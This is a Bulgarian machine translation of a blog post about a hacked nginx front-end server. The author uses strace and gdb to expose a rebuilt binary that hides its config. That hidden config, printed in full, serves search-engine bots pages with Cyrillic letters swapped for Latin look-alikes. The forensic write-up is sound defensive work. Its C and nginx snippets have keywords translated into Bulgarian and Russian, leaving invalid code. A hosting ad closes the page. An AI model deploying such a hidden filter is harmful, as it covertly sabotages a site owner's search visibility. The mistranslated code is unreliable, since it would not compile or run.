Когато 'a' не е равно на 'а'. По следите на едно хакване

Една неприятна история се случи с един мой познат. Но колкото беше неприятна за Михаил, толкова интересна беше за мен.

Трябва да кажа, че приятелят ми е напълно UNIX-потребител: може сам да инсталира системата, да настрои mysql, php и да направи най-простите настройки nginx.
И има десетина сайта, посветени на строителни инструменти.

Един от тези сайтове, посветен на бензиновите триони, е плътно на ТОП позициите в търсачките. Този сайт е непрофесионален прегледник, но на някого му е прилошало и започнаха да го атакурат. То DDoS, то брутфорс, то пишат неприлични коментари и изпращат оплаквания към хостинга и в РКН.
Неочаквано всичко утихна и това затишие се оказа не на добре, а сайтът започна постепенно да напуска горните редици на резултатите.

Когато 'a' не е равно на 'а'. По стъпките на едно хакване

То беше предистория, а сега самата администраторска байка.

Часът наближаваше за сън, когато прозвуча телефонен звън: „Саша, няма ли да погледнеш моя сървър? Мисля, че съм хакнат, не мога да докажа, но чувството не ме напуска вече трета седмица. Може би просто е време да се лекувам от параноя?“

След това последва половинчасова дискусия, която накратко може да се обобщи така:

  • почвата за хакване беше напълно плодоносна;
  • хакерът можеше да получи права на суперпотребител;
  • атаката (ако е имало такава) беше целенасочена именно към този сайт;
  • проблемните места са поправени и остава само да разбера дали е имало фактически проникване;
  • хакването не можеше да засегне кода на сайта и базите данни.

Относно последния пункт.

Когато 'a' не е равно на 'а'. По стъпките на едно хакване

В света се вижда само белият IP адрес на фронтенда. Между бекендите и фронтенда няма обмен освен http(s), потребителите/паролите са различни, ключовете не са обменяни. На сивите адреси всички портове освен 80/443 са затворени. Белите IP адреси на бекендите са известни само на двама потребители, на които Михаил напълно се доверява.

На фронтенда е инсталиран Debian 9 и към момента на обаждането системата е изолирана от света чрез външен firewall и е спряна.

„Добре, дай достъпите, - решавам да отложа съня за час. - Ще погледна с моите очи“.

Тук и нататък:

$ grep -F PRETTY_NAME /etc/*releas*
PRETTY_NAME="Debian GNU/Linux 9 (stretch)"
$ `echo $SHELL` --version
GNU bash, version 4.4.12(1)-release (x86_64-pc-linux-gnu)
$ nginx -v
nginx version: nginx/1.10.3
$ gdb --version
GNU gdb (Debian 8.2.1-2) 8.2.1

В търсене на възможно хакване

Стартирам сървъра, първо в режим на възстановяване. Монтиране на дисковете, преглеждам auth-логовете, history, системни журнали и т.н., проверявам датите на създаване на файловете, макар да осъзнавам, че един опитен хакер би „прибрал“ всичко след себе си, а и Миша вече е направил доста „стъпки“, докато търсеше сам.

Започвам в нормален режим, без да разбирам особено какво търся, изследвам конфигурационните файлове. Най-вече ме интересува nginx тъй като в принцип не съществува нищо друго на фронтенда.
Конфигурациите са малки, добре структуриран в десетина файла, преглеждам ги просто cat’по ред. Изглежда всичко е чисто, но кой знае, може би съм пропуснал нещо include, нека направя пълен листинг:

$ nginx -T
nginx: конфигурационният файл /usr/local/etc/nginx/nginx.conf синтаксисът е ок
nginx: тестът на конфигурационния файл /usr/local/etc/nginx/nginx.conf е успешен

Не разбрах: "Къде е листингът?"

$ nginx -V
nginx версия: nginx/1.10.3
Поддръжка на TLS SNI активирана
аргументи за конфигуриране: --with-cc-opt='-g -O2' --with-ld-opt='-Wl,-z,relro -Wl,-z,now' --prefix=/usr/share/nginx --conf-path=/etc/nginx/nginx.conf --http-log-path=/var/log/nginx/access.log --error-log-path=/var/log/nginx/error.log --lock-path=/var/lock/nginx.lock --pid-path=/run/nginx.pid --modules-path=/usr/lib/nginx/modules --http-client-body-temp-path=/var/lib/nginx/body --http-fastcgi-temp-path=/var/lib/nginx/fastcgi --http-proxy-temp-path=/var/lib/nginx/proxy --http-scgi-temp-path=/var/lib/nginx/scgi --http-uwsgi-temp-path=/var/lib/nginx/uwsgi --with-debug --with-pcre-jit --with-ipv6 --with-http_ssl_module --with-http_stub_status_module --with-http_realip_module --with-http_auth_request_module --with-http_v2_module --with-http_dav_module --with-http_slice_module --with-threads --with-http_addition_module --with-http_gunzip_module --with-http_gzip_static_module --with-http_sub_module --with-stream=dynamic --with-stream_ssl_module --with-mail=dynamic --with-mail_ssl_module

Към въпроса за листинга добавям втори: "Защо е толкова стара версия nginx?"

Освен това системата смята, че версията е инсталирана по-скоро:

$ dpkg -l nginx | grep "[n]ginx"
ii  nginx          1.14.2-2+deb10u1 all          малък, мощен, мащабируем уеб/прокси сървър

Обаждам се:
— Миш, защо преизграждаше nginx?
— Успокой се, дори не знам как да го направя!
— Ок, добре, спи...

Nginx определено е преизграден и изходът от листинга по „-T“ е скрит не случайно. Няма съмнение в хакването и това може просто да се приеме, а (след като Миша така или иначе смени сървъра) да се счита проблемът за решен.

И наистина, след като някой е получил права root‘а, има смисъл да се направи само system reinstall, а да се търси какво е било сгрешено е безполезно, но този път любопитството победи съня. Как да разберем какво искат да скрият от нас?

Нека опитаме да проследим:

$ strace nginx -T

Преглеждаме, в трасировката явно липсват редове от типа

write(1, "/etc/nginx/nginx.conf", 21/etc/nginx/nginx.conf)   = 21
write(1, "...
write(1, "n", 1

За интереса сравняваме изходите

$ strace nginx -T 2>&1 | wc -l
264
$ strace nginx -t 2>&1 | wc -l
264

Мисля, че част от кода /src/core/nginx.c

            случай 't':
                ngx_test_config = 1;
                перерыв;

            случай 'T':
                ngx_test_config = 1;
                ngx_dump_config = 1;
                перерыв;

беше преобразуван в вид:

            случай 't':
                ngx_test_config = 1;
                перерыв;

            случай 'T':
                ngx_test_config = 1;
                //ngx_dump_config = 1;
                перерыв;

или

            случай 't':
                ngx_test_config = 1;
                перерыв;

            случай 'T':
                ngx_test_config = 1;
                ngx_dump_config = 0;
                перерыв;

следовательно, изброяването по „-T“ не се показва.

Но как да видим нашия конфиг?

Ако мисълта ми е вярна и проблемът е само в променливата ngx_dump_config да опитаме да я зададем с помощта на gdb, добре, че ключът —with-cc-opt -g присъства и се надяваме, че оптимизацията -O2 няма да ни попречи. Понеже, аз не знам как ngx_dump_config можеше да бъде обработена в случай ‘T’:, няма да извикваме този блок, а ще я зададем, използвайки случай ‘t’:

Защо може да се използва ‘-t’ наред с ‘-T’Обработка на блока ако(ngx_dump_config) се случва вътре ако(ngx_test_config):

    ако (ngx_test_config) {
        ако (!ngx_quiet_mode) {
            ngx_log_stderr(0, "конфигурационен файл %s тестът е успешен",
                           cycle->conf_file.data);
        }

        ако (ngx_dump_config) {
            cd = cycle->config_dump.elts;

            за (i = 0; i < cycle->config_dump.nelts; i++) {

                ngx_write_stdout("# конфигурационен файл ");
                (void) ngx_write_fd(ngx_stdout, cd[i].name.data,
                                    cd[i].name.len);
                ngx_write_stdout(":" NGX_LINEFEED);

                b = cd[i].buffer;

                (void) ngx_write_fd(ngx_stdout, b->pos, b->last - b->pos);
                ngx_write_stdout(NGX_LINEFEED);
            }
        }

        връщане 0;
    }

Разбира се, ако кодът е променен в тази част, а не в случай ‘T’:, то моят метод няма да проработи.

Тестов nginx.confСлед като решихме проблема по пробен път, установихме, че за зловредния код е необходим минимален конфиг nginx вътре:

събития {
}

http {
	включи /etc/nginx/sites-enabled/*;
}

Този ще използваме за краткост в статията.

Стартираме отладчика

$ gdb --silent --args nginx -t
Чета символи от nginx...готово.
(gdb) break main
Точка останова 1 на 0x1f390: файл src/core/nginx.c, ред 188.
(gdb) run
Стартиране на програмата: nginx -t
[Дебъгване на нишки с libthread_db активирано]
Използване на хост библиотеката libthread_db "\/lib\/x86_64-linux-gnu\/libthread_db.so.1".

Точка за спиране 1, main (argc=2, argv=0x7fffffffebc8) на src/core/nginx.c:188
188     src/core/nginx.c: Няма такъв файл или директория.
(gdb) print ngx_dump_config=1
$1 = 1
(gdb) continue
Продължаване.
nginx: конфигурационният файл \/etc\/nginx\/nginx.conf синтаксисът е наред
nginx: тестът на конфигурационния файл \/etc\/nginx\/nginx.conf е успешен
# конфигурационен файл \/etc\/nginx\/nginx.conf:
events {
}

http {
map $http_user_agent $sign_user_agent
{
"~*yandex.com\/bots" 1;
"~*www.google.com\/bot.html" 1;
default 0;
}

map $uri $sign_uri
{
"~*\/wp-" 1;
default 0;
}

map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}

map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}

sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;

        include \/etc\/nginx\/sites-enabled\/*;
}
# конфигурационен файл \/etc\/nginx\/sites-enabled\/default:

[Несъществуващ 1 (процес 32581) излезе нормално]
(gdb) quit

По стъпки:

  • поставяме точка на прекъсване във функцията main()
  • стартираме програмата
  • променяме стойността на променливата, определяща извеждането на конфигурацията ngx_dump_config=1
  • продължаваме/завършваме програмата

Както виждаме, реалният конфиг се различава от нашия, извеждаме от него паразитната част:

map $http_user_agent $sign_user_agent
{
"~*yandex.com\/bots" 1;
"~*www.google.com\/bot.html" 1;
default 0;
}

map $uri $sign_uri
{
"~*\/wp-" 1;
default 0;
}

map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}

map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}

sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;

Нека разгледаме по-подробно какво се случва тук.

Определят се User-Agent‘ы yandex\/google:

map $http_user_agent $sign_user_agent
{
"~*yandex.com\/bots" 1;
"~*www.google.com\/bot.html" 1;
default 0;
}

Изключват се служебни страници wordpress:

map $uri $sign_uri
{
"~*\/wp-" 1;
default 0;
}

И за тези, които попадат под двете по-горе условия

map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}

map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}

в текста html-страниците се променят ‘о’ на ‘o’ и ‘а’ на ‘a’:

sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;

Точно така, тънкостта е, че ‘а’ != ‘a’ също както и ‘о’ != ‘o’:

Когато 'a' не е равно на 'а'. По стъпките на едно хакване

Така ботите на търсачките получават вместо нормален 100%-кирилски текст модифициран хаос, разбъркан с латиница ‘a’ и ‘o’. Не се наемам да разсъждавам как това влияе на SEO, но едва ли такъв буквен микс ще има положително влияние на позициите в резултатите.

Какво да кажа, момчетата с въображение.

Връзки

Отстраняване на проблеми с GDB
gdb(1) — Linux ръководство
strace(1) — Linux ръководство
Nginx — Модул ngx_http_sub_module
За триони, бензинови триони и електрически триони

Източник: habr.com

Купете надежден хостинг за сайтове с защита от DDoS, VPS VDS сървъри 🔥 Купете надежден хостинг за сайтове с защита от DDoS, VPS VDS сървъри | ProHoster